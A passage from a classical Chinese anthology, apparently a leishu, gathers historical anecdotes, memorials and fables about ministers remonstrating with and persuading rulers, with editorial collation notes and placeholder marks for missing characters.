之 奇 . 而 晋 并 之 . 曹 不 用 僖 负 羁 . 而 宋 并 之 . 吴 不 用 子 胥 . 而 越 并 之 . 桀 煞 关 龙 逢 . 而 汤 得 之 . 纣 煞 比 干 . 而 武 王 得 之 . 遂 趍 出 . 王 遽 追 之 曰 . 吾 用 子 之 谏 . 先 日 说 寡 人 者 . 不 足 动 寡 人 之 心 . 故 皆 至 死 . 明 日 出 令 . 有 能 入 谏 者 . 吾 与 为 兄 弟 . 废 层 台 . 罢 民 .\n又 曰 . 晏 子 复 于 景 公 曰 . 朝 居 严 乎 . 公 曰 . 朝 居 严 则 曷 害 于 治 国 家 哉 . 晏 子 对 曰 . 朝 居 严 则 下 无 言 . 下 无 言 则 上 无 闻 矣 . 下 无 言 则 谓 之 喑 . 上 无 闻 则 谓 之 聋 . 聋 喑 则 非 害 治 国 家 如 何 . 且 合 升 斗 之 谷 . 以 满 仓 廪 . 泰 山 之 高 . 非 一 石 也 . 累 卑 然 后 高 也 . 夫 治 天 下 者 . 非 用 一 士 之 言 也 .\n又 曰 . 楚 庄 王 立 . 三 年 不 听 朝 . 令 于 国 曰 . 寡 人 恶 为 人 臣 谏 其 君 者 . 今 寡 人 有 国 家 . 立 社 稷 . 有 谏 即 死 无 赦 . 苏 纵 曰 . 处 君 之 高 爵 . 食 君 之 厚 禄 . 爱 死 而 不 谏 . 则 非 忠 臣 也 . 乃 谏 庄 王 . 立 钟 鼓 之 闲 . 王 左 伏 杨 姬 . 右 拥 成 姬 曰 . 吾 钟 鼓 不 暇 . 何 谏 之 听 . 纵 曰 . 臣 闻 之 . 好 乐 者 迷 . 荆 国 亡 无 日 矣 . 王 曰 . 善 . 左 执 纵 手 . 右 抽 佩 刀 . 刎 钟 鼓 之 悬 . 明 日 授 纵 为 相 .\n又 曰 . 晋 ● 公 造 九 层 台 . 费 用 千 亿 . 谓 左 右 曰 . 敢 有 谏 者 斩 . 孙 息 乃 谏 曰 . 臣 能 累 十 三 博 棋 . 加 九 鸡 子 其 上 . 公 曰 . 吾 少 学 . 未 尝 见 也 . 子 为 寡 人 作 之 . 孙 息 即 以 棋 子 置 其 下 . 加 九 鸡 子 其 上 . 左 右 慑 惧 . ● 公 扶 伏 . 气 息 不 续 . 公 曰 . 危 哉 危 哉 . 孙 息 曰 . 臣 谓 是 不 危 也 . 复 有 危 此 者 . 公 曰 . 愿 见 之 . 孙 息 曰 . 九 层 之 台 . 三 年 不 成 . 男 不 得 耕 . 女 不 得 织 . 国 用 空 虚 . 户 口 减 少 . 吏 民 叛 亡 . 邻 国 谋 议 将 兴 兵 . 社 稷 一 灭 . 君 何 所 望 . ● 公 曰 . 寡 人 之 过 . 乃 至 于 此 . 即 坏 九 层 之 台 .\n汉 武 帝 故 事 . 汲 黯 谏 上 曰 . 陛 下 爱 才 乐 士 . 求 之 无 倦 . 比 得 一 人 . 劳 心 苦 神 . 未 尽 其 用 . 辄 已 煞 之 . 以 有 限 之 士 . 资 无 已 之 诛 . 陛 下 欲 谁 与 为 治 乎 .\n东 观 汉 记 曰 . 张 堪 为 光 禄 大 夫 . 数 谏 . 堪 常 乘 白 马 . 上 每 有 异 政 . 辄 言 白 马 生 且 复 谏 矣 . 事 具 职 部 光 禄 篇 .\n谢 承 后 汉 书 曰 . 陈 蕃 谏 桓 帝 曰 . 当 今 之 世 . 有 三 空 . 田 野 空 . 朝 廷 空 . 仓 库 空 . 是 谓 三 空 . 加 之 兵 戎 未 戢 . 四 方 离 散 . 是 陛 下 焦 心 毁 颜 . 坐 而 待 旦 之 时 也 . 岂 宜 扬 旗 曜 武 . 骋 心 舆 马 之 观 乎 .\n汝 南 先 贤 传 曰 . 建 武 八 年 . 车 驾 西 征 隗 嚣 . 郭 宪 谏 曰 . 天 下 初 定 . 车 驾 未 可 以 动 . 宪 乃 当 车 . 拔 佩 刀 以 断 车 靷 . 帝 不 从 . 遂 上 陇 . 其 后 颍 川 兵 起 . 乃 回 驾 而 还 . 帝 叹 曰 . 恨 不 用 郭 宪 之 言 .\n魏 略 曰 . 太 祖 欲 征 吴 而 雨 霖 . 三 军 多 不 愿 行 . 太 祖 知 其 然 . 恐 外 有 谏 者 . 教 曰 . 今 虽 戒 严 . 未 知 所 之 . 有 谏 者 死 . 贾 逵 乃 谏 . 太 祖 怒 . 收 逵 送 狱 .\n魏 志 . 辛 毗 能 直 谏 . 文 帝 践 祚 . 为 侍 中 . 帝 欲 徙 冀 州 十 万 户 实 河 南 . 时 连 蝗 民 饥 . 毗 与 朝 臣 俱 求 见 . 帝 知 其 欲 谏 . 作 色 以 见 之 . 皆 莫 敢 言 . 毗 曰 . 陛 下 欲 徙 家 . 其 计 安 出 . 帝 曰 . 卿 谓 我 徙 之 非 耶 . 毗 曰 . 诚 以 为 非 也 . 帝 曰 . 吾 不 与 卿 共 议 也 . 帝 起 入 内 . 毗 随 而 引 其 裾 . 帝 遂 奋 衣 不 还 . 良 久 乃 出 曰 . 卿 持 我 何 太 急 耶 .\n吴 志 曰 . 孙 权 既 为 吴 王 . 欢 宴 之 末 . 自 起 行 酒 . 虞 翻 伏 地 佯 醉 . 不 待 权 去 . 翻 起 坐 . 权 于 是 大 怒 . 手 剑 欲 击 之 . 侍 坐 者 莫 不 惶 遽 . 唯 大 司 农 刘 基 起 抱 权 谏 曰 . 大 王 以 三 爵 后 煞 善 士 . 虽 翻 有 罪 . 天 下 孰 知 之 . 且 大 王 以 能 容 贤 . 故 海 内 望 风 . 今 一 朝 弃 之 . 可 乎 . 翻 由 是 得 免 .\n【 表 】 魏 陈 王 曹 植 谏 伐 辽 东 表 曰 . 臣 伏 以 辽 东 负 岨 之 国 . 势 便 形 固 . 带 以 辽 海 . 今 轻 军 远 攻 . 师 疲 力 屈 . 彼 有 其 备 . 所 谓 以 逸 待 劳 . 以 饱 制 饥 者 也 . 以 臣 观 之 . 诚 未 易 攻 也 . 若 国 家 攻 而 必 克 . 屠 襄 平 之 城 . 悬 公 孙 之 首 . 得 其 地 . 不 足 以 偿 中 国 之 费 . 虏 其 民 . 不 足 以 补 三 军 之 失 . 是 我 所 获 . 不 如 所 丧 也 . 若 其 不 拔 . 旷 日 持 久 . 暴 师 于 野 . 然 天 时 难 测 . 水 湿 无 常 . 彼 我 之 兵 . 连 于 城 下 . 进 则 有 高 城 深 池 . 无 所 施 其 功 . 退 则 有 归 涂 不 通 . 道 路 瀸 洳 . 东 有 待 衅 之 吴 . 西 有 伺 隙 之 蜀 . 吴 起 东 南 . 则 荆 杨 骚 动 . 蜀 应 西 境 . 则 雍 凉 参 分 . 兵 不 解 于 外 . 民 罢 困 于 内 . 促 耕 不 解 其 饥 . 疾 蚕 不 救 其 寒 . 夫 渴 而 后 穿 井 . 饥 而 后 殖 种 . 可 以 图 远 . 难 以 应 卒 也 . 臣 以 为 当 今 之 务 . 在 于 省 徭 役 . 薄 赋 敛 . 劝 农 桑 . 三 者 既 备 . 然 后 令 伊 管 之 臣 . 得 施 其 术 . 孙 吴 之 将 . 得 奋 其 力 . 若 此 则 泰 平 之 基 . 可 立 而 待 . 康 哉 之 歌 . 可 坐 而 闻 . 曾 何 忧 于 二 敌 . 何 惧 于 公 孙 乎 . 今 不 恤 邦 畿 之 内 . 而 劳 神 于 蛮 貊 之 域 . 窃 为 陛 下 不 取 也 .\n齐 竟 王 陵 上 谠 言 表 曰 . 臣 闻 明 台 既 辟 . 承 云 之 歌 阐 . 衢 室 爰 启 . 南 风 之 颂 流 . 莫 非 降 道 爝 辉 . 纡 ● 浸 泽 . 陛 下 凝 庆 协 图 . 席 昌 属 历 . ● 临 冬 暧 . 海 镜 春 亭 . 选 议 钓 俗 . 观 风 调 纪 . 垂 听 革 之 典 . 降 聆 金 之 训 . 用 能 诗 史 无 辍 . 工 颂 有 闻 . 是 故 置 四 辅 . 立 七 谏 . 正 国 度 . 箴 王 阙 . 臣 谓 当 今 . 宜 崇 谏 司 . 专 事 昭 塞 . 职 蹈 謇 谔 . 绩 宣 王 文 . 则 优 其 宠 秩 . 厚 其 节 礼 . 庶 献 之 美 . 方 高 圣 代 . 至 乃 靡 衣 偷 食 . 曾 宇 雕 墉 . 商 贸 浮 侈 . 田 莱 芜 替 . 棫 朴 爽 流 . 摽 梅 失 序 . 勉 民 观 俗 之 宜 . 设 官 立 事 之 要 . 随 ● 兴 规 . 衮 废 能 补 . 如 此 则 壤 咏 无 远 . 辕 乐 可 追 .\n【 书 】 秦 李 斯 上 书 谏 始 皇 曰 . 臣 闻 吏 议 逐 客 . 窃 以 为 过 矣 . 昔 者 穆 公 求 士 . 西 取 由 余 于 戎 . 东 得 百 里 奚 于 宛 . 迎 蹇 叔 于 宋 . 来 丕 豹 公 孙 支 于 晋 . 此 五 子 者 . 不 产 于 秦 . 穆 公 用 之 . 并 国 二 十 . 遂 霸 西 戎 . 惠 王 用 张 仪 之 计 . 拔 三 川 之 地 . 西 并 巴 蜀 . 北 收 上 郡 . 南 取 汉 中 . 苞 九 夷 . 制 鄢 郢 . 东 据 成 皋 之 险 . 割 膏 腴 之 壤 . 散 六 国 之 从 . 使 之 西 面 事 秦 . 功 施 到 今 . 昭 王 得 范 睢 . 废 穣 侯 . 逐 华 阳 . 强 公 室 . 杜 私 门 . 蚕 食 诸 侯 . 使 秦 成 帝 业 . 皆 以 客 之 功 . 由 此 观 之 . 客 何 负 于 秦 哉 . 今 陛 下 致 昆 山 之 玉 . 有 随 和 之 宝 . 垂 明 月 之 珠 . 服 太 阿 之 剑 . 乘 纤 离 之 马 . 建 翠 凤 之 旗 . 树 ● 鼍 之 鼓 . 此 数 宝 者 . 秦 不 产 一 焉 . 而 陛 下 悦 之 . 必 秦 国 之 所 生 然 后 可 . 则 是 夜 光 之 璧 . 不 饰 朝 廷 . 犀 象 之 器 . 不 为 玩 好 . 而 骏 马 駃 騠 . 不 实 外 . 所 以 饰 后 宫 . 充 下 陈 . 娱 心 意 . 悦 耳 目 者 . 必 出 于 秦 然 后 可 . 则 是 宛 珠 之 簪 . 锦 绣 之 饬 . 不 进 于 前 . 而 赵 女 不 立 于 侧 也 . 所 重 者 在 乎 色 乐 . 而 所 轻 者 在 乎 人 民 . 此 非 所 以 夸 海 内 也 .\n汉 邹 阳 上 书 谏 吴 王 曰 . 臣 闻 蛟 龙 骧 首 奋 翼 . 则 浮 云 出 流 . 雾 雨 成 集 . 圣 王 砥 节 脩 德 . 则 游 谈 之 士 . 归 义 思 名 . 今 臣 尽 智 毕 议 . 易 精 极 虑 . 则 无 国 而 不 可 干 . 饰 固 陋 之 心 . 则 何 王 之 门 . 不 可 曳 裾 乎 . 然 臣 历 数 王 之 朝 . 背 淮 千 里 而 自 致 者 . 非 恶 臣 国 而 乐 吴 民 也 . 窃 高 下 风 之 行 . 尤 悦 大 王 之 义 . 故 愿 大 王 无 忽 . 察 听 其 至 . 夫 全 赵 之 时 . 武 力 鼎 士 . 服 藂 台 之 下 者 . 一 旦 成 市 . 不 能 止 幽 王 之 沆 患 . 淮 南 连 山 东 之 侠 . 死 士 盈 朝 . 不 能 还 厉 王 之 西 也 . 然 则 计 议 不 得 . 虽 诸 贲 不 能 安 其 位 . 亦 明 矣 . 今 汉 据 全 秦 之 地 . 兼 六 国 之 众 . 大 王 之 所 明 知 也 . 今 夫 谄 谀 之 臣 . 为 大 王 计 者 . 不 论 骨 肉 之 义 . 民 之 轻 重 . 国 之 大 小 . 以 为 吴 祸 . 此 臣 所 以 为 大 王 患 也 . 夫 举 吴 兵 以 訾 于 汉 . 譬 犹 蝇 蚋 之 附 群 牛 . 腐 肉 之 齿 利 剑 . 锋 接 必 无 矣 .\n汉 枚 乘 上 书 谏 吴 王 曰 . 得 全 者 昌 . 失 全 者 亡 . 舜 无 立 锥 之 地 . 以 有 天 下 . 禹 无 十 户 之 聚 . 以 王 诸 侯 . 汤 武 之 土 . 不 过 百 里 . 上 不 绝 三 光 之 明 . 下 不 伤 百 姓 之 心 者 . 有 王 术 也 . 忠 臣 不 避 重 诛 以 直 谏 . 则 事 无 遗 策 . 功 流 万 世 . 夫 以 一 缕 之 任 . 系 千 钧 之 重 . 上 悬 之 无 极 之 高 . 下 垂 之 不 测 之 深 . 虽 甚 愚 之 人 . 犹 知 哀 其 将 绝 也 . 人 性 有 畏 其 影 而 恶 其 迹 者 . 却 背 而 走 . 足 迹 愈 多 . 影 愈 疾 . 不 知 就 阴 而 止 . 影 灭 而 迹 绝 . 欲 人 勿 闻 . 莫 若 勿 言 . 欲 人 勿 知 . 莫 若 勿 为 . 福 生 有 基 . 祸 生 有 胎 . 纳 其 基 . 绝 其 胎 . 祸 何 自 来 . 夫 铢 铢 而 称 之 . 至 石 必 差 . 寸 寸 而 度 之 . 至 丈 必 过 . 磨 砻 砥 砺 . 不 见 其 损 . 有 时 而 尽 . 种 树 畜 养 . 不 见 其 益 . 有 时 而 大 . 积 德 累 行 . 不 知 其 善 . 有 时 而 用 . 弃 义 背 理 . 不 知 其 恶 . 有 时 而 亡 . 楚 有 子 玉 得 臣 . 晋 文 为 之 侧 席 而 坐 . 赵 有 廉 颇 马 服 . 强 秦 不 敢 窥 兵 . 昔 白 起 为 秦 将 . 南 伐 郢 都 . 北 坑 赵 括 . 以 纤 介 之 过 . 赐 死 杜 邮 . 秦 民 怜 之 . 莫 不 陨 涕 .\n汉 司 马 相 如 上 书 谏 武 帝 曰 . 物 有 同 类 而 殊 能 者 . 故 力 称 乌 获 . 捷 言 庆 忌 . 勇 期 贲 育 . 臣 之 愚 暗 . 窃 以 为 人 诚 有 之 . 兽 亦 宜 然 . 今 陛 下 好 凌 阻 险 . 射 猛 兽 . 卒 然 遇 轶 材 之 兽 . 骇 不 存 之 地 . 犯 属 车 之 清 尘 . 舆 不 及 还 辕 . 人 不 暇 施 巧 . 虽 有 乌 获 逢 蒙 之 伎 力 . 不 得 施 用 . 枯 木 朽 株 . 尽 为 难 矣 . 夫 轻 万 乘 之 重 . 不 以 为 安 . 而 乐 出 万 有 一 危 之 涂 以 为 娱 . 臣 窃 为 陛 下 不 取 也 . 盖 明 者 远 见 于 未 萌 . 而 智 者 避 危 于 无 形 . 祸 固 多 藏 于 隐 微 . 而 发 于 人 所 忽 也 . 鄙 谚 曰 . 家 累 千 金 . 坐 不 垂 堂 . 此 言 虽 小 . 可 以 喻 大 .\n【 序 】 梁 元 帝 忠 臣 传 谏 争 篇 序 曰 . 富 贵 宠 荣 . 人 所 不 能 忘 也 . 刑 戮 流 放 . 人 所 不 能 甘 也 . 而 士 有 冒 雷 霆 . 犯 颜 色 . 吐 一 言 终 . 知 自 投 鼎 镬 . 取 离 刀 锯 . 而 曾 不 避 者 . 其 故 何 也 . 盖 伤 茫 茫 禹 迹 . 毁 于 一 朝 . 赫 赫 宗 周 . 灭 成 禾 黍 . 何 者 . 百 世 之 后 . 王 化 渐 颓 . 钦 若 之 信 既 尽 . 解 网 之 仁 已 泯 . 徒 以 继 体 所 及 . 守 器 攸 归 . 出 则 清 警 传 路 . 处 则 凭 玉 负 扆 . 事 无 蹔 舛 . 意 有 必 从 . 所 谓 生 于 深 宫 之 中 . 长 于 妇 人 之 手 . 未 尝 知 忧 . 未 尝 知 惧 . 况 惑 裒 人 之 巧 笑 . 迷 阳 阿 之 妙 舞 . 重 之 以 刳 斫 . 囚 之 以 逋 逃 . 亦 有 倾 天 灭 地 . 污 宫 潴 社 之 罪 . 拔 本 塞 源 . 裂 冠 毁 冕 之 衅 . 于 是 策 名 委 质 . 守 死 不 二 之 臣 . 以 刚 肠 疾 恶 之 心 . 确 乎 贞 一 之 性 . 不 忍 见 霜 露 麋 鹿 . 栖 于 宫 寝 . 麦 穗 黍 离 . 被 于 宗 庙 . 故 沥 血 抽 诚 . 披 胸 见 款 . 赴 燋 烂 于 危 年 . 甘 灭 亡 于 昔 日 . 冀 桐 宫 有 返 道 之 明 . 望 夷 无 不 言 之 恨 . 而 九 重 悬 远 . 百 雉 严 绝 . 丹 心 莫 亮 . 白 刃 先 指 . 见 之 者 掩 目 . 闻 之 者 伤 心 . 然 后 鸣 条 有 不 收 之 魂 . 商 郊 致 白 旗 之 戮 .\n【 论 】 汉 东 方 朔 非 有 先 生 论 曰 . 非 有 先 生 仕 于 吴 . 进 不 能 称 往 古 以 广 主 意 . 退 不 能 扬 君 美 以 显 其 功 . 吴 王 而 问 之 . 先 生 曰 . 谈 何 容 易 . 夫 谈 者 . 有 悖 于 目 而 拂 于 耳 . 谬 于 心 而 便 于 身 . 或 有 悦 于 目 . 顺 于 耳 . 快 于 心 . 而 毁 于 行 者 . 非 有 明 王 圣 主 . 孰 能 听 之 . 吴 王 曰 . 何 为 其 然 也 . 先 生 对 曰 . 昔 关 龙 逢 深 谏 于 桀 . 而 王 子 比 干 直 言 于 纣 . 此 二 臣 者 . 直 言 其 失 . 切 谏 其 邪 . 将 以 为 君 之 荣 . 除 主 之 祸 也 . 今 则 不 然 . 反 以 为 诽 谤 君 之 行 . 无 人 臣 之 礼 . 戮 及 先 人 . 为 天 下 笑 . 故 曰 . 谈 何 容 易 . 故 养 寿 命 之 士 . 莫 肯 进 也 . 遂 居 深 山 之 闲 . 积 土 为 室 . 编 蓬 为 户 . 弹 琴 其 中 . 以 咏 先 王 之 风 . 亦 可 以 乐 而 忘 死 矣 .\n汉 谷 永 与 王 音 书 曰 . 夫 上 德 厚 则 下 爱 深 . 下 爱 深 则 其\n谋 忠 . 其 言 至 . 昔 善 将 国 者 不 忘 危 . 善 养 生 者 不 讳 死 .\n以 忠 臣 直 友 . 明 史 良 医 . ● 蓍 信 龟 . 咸 得 尽 忠 正 言 . 不\n蔽 兆 占 . 故 能 迁 咎 延 誉 . 转 祸 为 福 .\n人 部 九 说 嘲\n戏\n又 曰 . 晋 郤 缺 言 于 赵 宣 子 曰 . 日 卫 不 睦 . 故 取 其 地 . 今 已 睦 矣 . 可 以 归 之 . 叛 而 不 讨 . 何 以 示 威 . 服 而 弗 柔 . 何 以 示 怀 . 非 威 非 怀 . 何 以 示 德 . 无 德 何 以 主 盟 . 子 为 正 卿 . 以 主 诸 侯 . 而 不 务 德 . 将 若 之 何 . 宣 子 悦 之 .\n又 曰 . 吴 伐 楚 . 入 郢 . 申 包 胥 如 秦 乞 师 . 曰 . 吴 为 封 豕 长 蛇 . 荐 食 上 国 . 虐 始 于 楚 . 寡 君 失 守 社 稷 . 越 在 草 莽 . 使 下 臣 告 急 曰 . 夷 德 无 猒 . 若 邻 于 君 . 疆 埸 之 患 也 . 逮 吴 之 未 定 也 . 君 其 取 分 焉 . 若 以 君 ● 抚 之 . 世 以 事 秦 . 立 依 于 庭 墙 而 哭 . 日 夜 不 绝 声 . 勺 饮 不 入 口 . 七 日 . 秦 师 乃 出 .\n又 曰 . 楚 子 飨 鲁 昭 公 于 新 台 . 好 以 大 屈 . 既 而 悔 之 . 薳 启 强 闻 之 . 见 公 . 公 语 之 . 拜 贺 . 公 曰 . 何 贺 . 对 曰 . 齐 与 晋 越 . 欲 此 久 矣 . 寡 君 无 适 与 也 . 敢 不 贺 乎 . 公 惧 . 乃 反 之 .\n战 国 策 曰 . 范 睢 谓 秦 王 曰 . 大 王 之 国 . 北 有 甘 泉 谷 口 . 南 泾 渭 . 右 陇 蜀 . 左 关 阪 . 战 车 千 乘 . 奋 卒 数 百 万 . 以 秦 卒 之 勇 . 车 骑 之 多 . 以 当 诸 侯 . 譬 若 放 韩 卢 而 逐 狡 兔 也 . 霸 王 之 业 可 致 . 今 反 ● 关 . 不 敢 窥 兵 于 山 东 者 . 是 穣 侯 为 秦 谋 不 忠 . 大 王 之 计 有 失 也 .\n又 曰 . 秦 惠 王 以 女 为 燕 太 子 妇 . 燕 文 公 卒 . 齐 王 因 燕 丧 . 攻 取 十 城 . 苏 秦 说 齐 王 . 再 拜 而 贺 . 迎 ○ 太 平 御 览 四 百 六 十 作 仰 . 而 吊 . 齐 王 曰 . 何 庆 吊 相 随 之 速 也 . 对 曰 . 人 之 饥 所 以 不 食 乌 喙 者 . 以 为 虽 充 肠 而 与 死 同 患 . 夫 燕 虽 弱 小 . 强 秦 之 婿 也 . 王 利 其 十 城 . 而 与 秦 为 仇 . 以 招 天 下 精 兵 . 此 食 乌 喙 之 类 也 . 王 曰 . 然 则 奈 何 . 对 曰 . 王 能 听 臣 . 莫 如 归 燕 城 . 卑 辞 以 谢 之 . 秦 知 王 以 己 之 故 归 燕 地 . 必 德 王 . 燕 无 故 得 十 城 . 燕 亦 德 王 . 是 王 弃 强 仇 而 立 身 厚 交 也 . 齐 王 大 悦 . 乃 归 燕 城 .\n又 曰 . 秦 王 谓 赵 使 者 谅 ● ○ 战 国 策 赵 策 作 毅 . 下 同 . 曰 . 赵 豹 平 原 君 . 数 欺 弄 寡 人 . 赵 能 煞 此 两 人 则 可 . 若 不 能 煞 . 请 率 诸 侯 受 命 邯 郸 城 下 . 谅 ● 曰 . 赵 豹 平 原 君 . 亲 寡 君 之 母 弟 也 . 犹 大 王 之 有 叶 ○ 原 讹 筑 . 据 下 文 改 . 阳 君 泾 阳 君 . 大 王 以 孝 悌 闻 于 天 下 . 衣 服 之 便 于 体 . 膳 啖 之 兼 于 口 . 未 尝 不 分 . 舆 马 衣 裘 . 无 非 大 王 之 服 . 今 受 大 王 之 严 令 . 以 报 弊 邑 之 君 . 不 敢 弗 行 . 无 乃 伤 叶 阳 君 之 心 乎 .\n又 曰 . 齐 欲 伐 魏 . 魏 使 人 谓 淳 于 髡 曰 . 齐 欲 伐 魏 . 能 解 魏 患 . 唯 先 生 也 . 弊 邑 有 宝 璧 二 双 . 文 马 二 驷 . 请 致 之 先 生 . 淳 于 髡 诺 . 入 说 齐 王 曰 . 楚 . 齐 之 仇 敌 也 . 魏 . 齐 之 与 国 也 . 夫 伐 与 国 . 使 仇 敌 制 其 余 弊 . 名 丑 而 实 危 . 为 王 不 取 也 . 齐 王 曰 . 善 . 乃 不 伐 魏 .\n又 曰 . 赵 且 伐 燕 . 苏 代 谓 惠 王 曰 . 今 者 来 过 川 . 蚌 方 出 曝 . 而 鹬 喙 曰 ○ 太 平 御 览 四 百 六 十 作 而 鹬 啄 其 肉 . 蚌 掩 鹬 啄 . 鹬 曰 .(又 九 百 四 十 一 引 文 略 同)此 有 脱 文 . 今 日 不 雨 . 明 日 不 雨 . 蚌 将 为 脯 . 蚌 亦 谓 鹬 曰 . 今 日 不 出 . 明 日 不 出 . 必 见 死 鹬 . 两 者 不 肯 相 舍 . 渔 者 得 而 并 禽 之 . 今 赵 且 伐 燕 . 燕 赵 久 相 交 兵 . 恐 强 秦 之 为 渔 父 也 . 故 愿 王 孰 计 之 . 惠 王 曰 . 善 . 乃 止 .\n又 曰 . 昭 阳 为 楚 伐 魏 . 移 兵 而 攻 齐 . 陈 轸 为 齐 王 使 . 见 昭 阳 曰 . 今 子 贵 矣 . 王 非 置 两 令 尹 也 . 臣 窃 为 公 譬 之 . 可 乎 . 楚 有 祠 者 . 锡 其 舍 人 酒 一 卮 . 舍 人 相 谓 曰 . 数 人 饮 之 不 足 . 一 人 饮 之 有 余 . 请 画 蛇 . 先 成 者 饮 酒 . 一 人 蛇 先 成 . 乃 左 手 持 卮 . 右 手 画 蛇 曰 . 吾 能 为 足 . 为 足 未 成 . 一 人 之 蛇 成 . 夺 其 卮 曰 . 蛇 故 无 足 . 子 安 能 为 之 足 . 遂 饮 其 酒 . 画 蛇 足 者 终 亡 其 酒 . 今 公 攻 魏 煞 将 . 得 八 城 . 又 移 师 欲 攻 齐 . 齐 畏 公 甚 . 公 以 是 名 足 矣 . 冠 之 上 非 可 重 也 . 战 无 不 胜 而 不 知 止 者 . 身 且 死 . 爵 且 偃 . 犹 为 蛇 足 也 . 昭 阳 以 为 然 . 解 军 而 归 .\n又 曰 . 卫 客 事 魏 王 . 三 年 不 得 见 . 乃 见 梧 丘 先 生 . 许 之 以 百 金 . 先 生 曰 . 诺 . 乃 见 魏 王 曰 . 吾 闻 秦 出 兵 . 未 知 所 之 . 愿 王 专 事 秦 . 无 他 计 . 王 曰 . 诺 . 客 趍 出 . 至 郭 门 而 反 . 曰 . 臣 恐 王 事 秦 之 晚 也 . 夫 人 于 事 己 者 过 急 . 于 事 人 者 过 缓 . 今 王 于 事 己 者 缓 . 安 能 急 于 事 人 . 卫 客 事 王 . 三 年 不 得 见 . 臣 以 是 知 王 缓 也 . 魏 王 趍 见 卫 客 .\n又 曰 . 苏 秦 为 楚 合 从 . 说 韩 王 曰 . 夫 以 韩 卒 之 勇 . 被 坚 甲 . 带 利 剑 . 一 人 当 百 . 不 足 云 也 . 夫 以 韩 卒 之 劲 . 与 王 之 贤 . 乃 欲 事 秦 . 为 天 下 笑 . 无 过 此 者 . 大 王 事 秦 . 秦 必 求 宜 阳 成 皋 . 今 兹 效 之 . 明 年 又 求 之 . 予 之 则 无 地 以 给 . 不 予 则 弃 前 功 而 受 后 祸 . 大 王 之 地 有 尽 . 而 秦 之 求 无 厌 . 以 有 尽 之 地 . 而 应 无 已 之 求 . 鄙 语 曰 . 宁 为 鸡 口 . 不 为 牛 后 . 今 西 面 交 臂 而 事 秦 . 何 异 牛 后 乎 .\n又 曰 . 秦 王 与 中 期 争 论 而 不 胜 . 秦 王 大 怒 . 中 期 徐 行 去 . 人 为 中 期 说 秦 王 曰 . 此 悍 人 也 . 中 期 适 遇 明 君 故 也 . 遇 桀 纣 . 必 杀 之 矣 . 王 因 弗 罪 .\n史 记 曰 . 李 斯 说 秦 王 曰 . 自 孝 公 以 来 . 周 室 卑 微 . 诸 侯 相 兼 . 关 东 为 六 国 . 秦 之 乘 胜 役 诸 侯 . 盖 六 世 矣 . 今 诸 侯 服 秦 . 譬 若 郡 县 . 夫 以 秦 之 强 大 . 王 之 贤 . 由 灶 上 扫 除 . 足 以 灭 诸 侯 . 成 帝 业 矣 . 今 怠 而 弗 急 就 . 诸 侯 复 强 . 相 聚 约 从 . 虽 有 黄 帝 之 贤 . 弗 能 并 也 . 秦 王 听 其 计 .\n又 曰 . 李 左 车 说 成 安 君 陈 余 曰 . 臣 闻 韩 信 涉 西 河 . 虏 魏 王 . 禽 夏 说 . 新 喋 血 阏 与 . 今 乃 辅 以 张 耳 . 议 欲 以 下 赵 . 此 乘 胜 而 远 斗 . 其 锋 不 可 当 . 臣 闻 千 里 馈 粮 . 士 有 饥 色 . 今 井 陉 之 道 . 车 不 得 方 轨 . 骑 不 得 成 列 . 其 势 粮 食 必 在 其 后 . 愿 足 下 假 臣 奇 兵 三 万 人 . 从 闲 道 绝 其 辎 重 . 彼 前 不 得 斗 . 退 不 得 还 . 吾 奇 兵 绝 其 后 . 野 无 所 掠 . 不 至 十 日 . 两 将 之 头 . 可 致 麾 下 .\n又 曰 . 郦 食 其 说 齐 王 曰 . 王 知 天 下 所 归 乎 . 齐 王 曰 . 天 下 何 归 . 曰 . 归 汉 . 何 以 言 之 . 曰 . 汉 王 与 项 王 戮 力 西 面 击 秦 . 约 先 入 咸 阳 者 王 之 . 项 王 负 约 不 与 . 而 王 之 汉 中 . 又 迁 煞 义 帝 . 汉 王 闻 之 . 起 蜀 汉 之 兵 . 责 煞 义 帝 之 罪 . 降 城 即 以 侯 其 将 . 得 赂 即 以 分 其 士 . 蜀 汉 之 粟 . 万 船 而 下 . 项 羽 有 背 约 之 名 . 煞 义 帝 之 负 . 于 人 之 功 无 所 记 . 于 人 之 罪 无 所 忘 . 天 下 之 士 . 归 于 汉 王 . 可 坐 而 策 . 今 以 据 敖 仓 之 粟 . 塞 成 皋 之 险 . 守 白 马 之 津 . 杜 太 行 之 版 . 距 飞 狐 之 口 . 天 下 后 服 者 先 亡 . 王 疾 下 汉 王 . 齐 国 社 稷 可 得 而 保 . 不 下 汉 王 . 危 亡 可 立 而 待 . 乃 听 郦 生 .\n又 曰 . 高 祖 使 陆 生 赐 尉 他 印 . 为 南 越 王 . 陆 生 进 说 他 曰 . 足 下 中 国 人 . 亲 戚 昆 弟 坟 墓 在 真 定 . 今 反 天 性 . 弃 冠 带 . 欲 以 区 区 之 越 . 与 天 子 抗 衡 . 祸 且 及 身 也 . 乃 欲 以 新 造 未 集 之 越 . 屈 强 于 此 . 汉 使 一 偏 将 . 将 十 万 众 临 越 . 则 越 煞 王 降 汉 . 如 反 覆 手 耳 . 事 具 治 政 部 奉 使 篇 .\n汉 书 曰 . 项 羽 击 陈 留 外 黄 . 外 黄 不 下 . 数 月 乃 降 . 羽 悉 令 男 子 年 十 五 以 上 诣 城 东 . 欲 坑 之 . 外 黄 令 舍 人 儿 年 十 三 . 往 说 羽 曰 . 彭 越 强 劫 外 黄 . 外 黄 恐 . 故 降 待 大 王 . 大 王 至 . 又 皆 坑 之 . 百 姓 岂 有 所 归 心 哉 . 从 此 以 东 . 梁 地 十 余 城 皆 恐 . 莫 肯 下 矣 . 羽 然 其 言 .\n又 曰 . 赵 王 乃 与 张 耳 陈 余 . 北 略 地 燕 界 . 赵 王 为 燕 军 所 获 . 燕 因 留 之 . 欲 与 分 地 . 赵 有 厮 养 卒 . 乃 走 燕 壁 问 曰 . 何 知 臣 欲 . 燕 将 曰 . 若 欲 得 王 耳 . 曰 . 君 知 张 耳 陈 余 何 人 也 . 燕 将 曰 . 贤 人 也 . 曰 . 其 志 何 欲 . 燕 将 曰 . 欲 得 其 王 耳 . 赵 卒 笑 曰 . 君 未 知 两 人 所 欲 也 . 夫 武 臣 张 耳 陈 余 . 杖 马 箠 下 赵 数 十 城 . 亦 各 欲 南 面 而 王 . 夫 臣 之 与 主 . 岂 可 同 日 道 哉 . 两 人 亦 欲 分 赵 而 王 . 时 未 可 耳 . 今 两 人 名 为 求 王 . 实 欲 燕 煞 之 . 此 两 人 分 赵 而 王 . 夫 以 一 赵 尚 易 燕 . 况 以 两 王 . 右 